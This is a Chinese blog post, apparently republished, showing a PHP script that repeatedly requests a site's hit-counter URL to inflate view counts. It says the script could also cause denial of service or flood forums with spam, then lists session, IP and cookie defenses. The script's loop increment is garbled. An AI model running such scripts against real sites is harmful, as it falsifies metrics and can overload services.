php 机数,PHP实现自动刷数和“灌水”机
今天無(wú)意間看到一個(gè)網(wǎng)站,它的計(jì)數(shù)器能夠在靜態(tài)頁(yè)里更新,我想,應(yīng)該是使用js來(lái)做的,打開(kāi)源代碼一看,果然是:
<div align=center><SPAN class=Article_tdbgall>
<script language=’javascript’ src=’/Article/GetHits.asp?ArticleID=759’></script>
更新時(shí)間:2005-5-27</SPAN>
</div>
點(diǎn)擊數(shù)后面是一個(gè)asp文件去處理的,那么我打開(kāi)這個(gè)文件看看:
document.write(’210’);
是吧,就是GetHists.asp文件處理ArticleID后提取結(jié)果后輸出次數(shù):document.write(’次數(shù)’),再靜態(tài)頁(yè)里就能夠直接引用了。
壞人終究是壞人,那么我就想,如何能夠迅速提升點(diǎn)擊數(shù)呢?手工刷新的話不是很類,恩,趕緊寫(xiě)個(gè)PHP程序來(lái)自動(dòng)的去訪問(wèn)這個(gè)文件。
PHP代碼如下:
<?php
/* access_url.php */
define(SUM, 1000); //需要訪問(wèn)的次數(shù)
define(L_TIME, 1000); //強(qiáng)制腳本執(zhí)行的時(shí)間
define(S_TIME, 1); //每次訪問(wèn)之間休眠的時(shí)間
$url = "http://www.xxx.com/Article/GetHits.asp?ArticleID=759"; //需要訪問(wèn)的地址
set_time_limit(L_TIME);
//訪問(wèn)指定URL函數(shù)knowsky.com
function access_url($url)
{
if ($url==’’) return false;
$fp = fopen($url, ’r’) or exit(’Open url faild!’);
if ($fp) {
while (!feof($fp)) {
$file = fgets($fp);
echo $file."\n<p>?</p>\n";
}
unset($file);
}
}
//進(jìn)行測(cè)試
for ($i=0; $i<SUM; $i ) {
access_url($url);
sleep(S_TIME);
}
?>
運(yùn)行上面的程序,那么就會(huì)連續(xù)訪問(wèn)指定的URL地址,那么自然這個(gè)訪問(wèn)次數(shù)就會(huì)連續(xù)增加,達(dá)到灌水的效果。如果是流量大,而且用多程序去運(yùn)行的話,那么很容易就會(huì)達(dá)到拒絕服務(wù)(DoS)的效果了。如果對(duì)方的防范措施,把代碼修改一下針對(duì)論壇進(jìn)行提交,很容易實(shí)現(xiàn)論壇灌水的效果。
防范方法:
1. 代碼中使用Session機(jī)制,當(dāng)用戶提交的時(shí)候生成一個(gè)Session ID,提交內(nèi)容的時(shí)候判斷是否已經(jīng)提交,如果已提交那么就不允許刷。
2. 當(dāng)用戶提交以后記錄用戶的IP地址,如果指定時(shí)間內(nèi)再提交的話就不允許再提交。
3. 當(dāng)用戶提交內(nèi)容以后,在用戶客戶端寫(xiě)入Cookie,如果用戶再次提交先檢查客戶端是否有Cookie來(lái)確定是否允許提交。
還有很多其他方法,可以去搜索一下,或者發(fā)揮自己的想象力,做的更好。
總結(jié)
以上是生活随笔為你收集整理的php 机数,PHP实现自动刷数和“灌水”机的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: java friendly 子包,黑馬程
- 下一篇: php页面修改器,读取器/修改器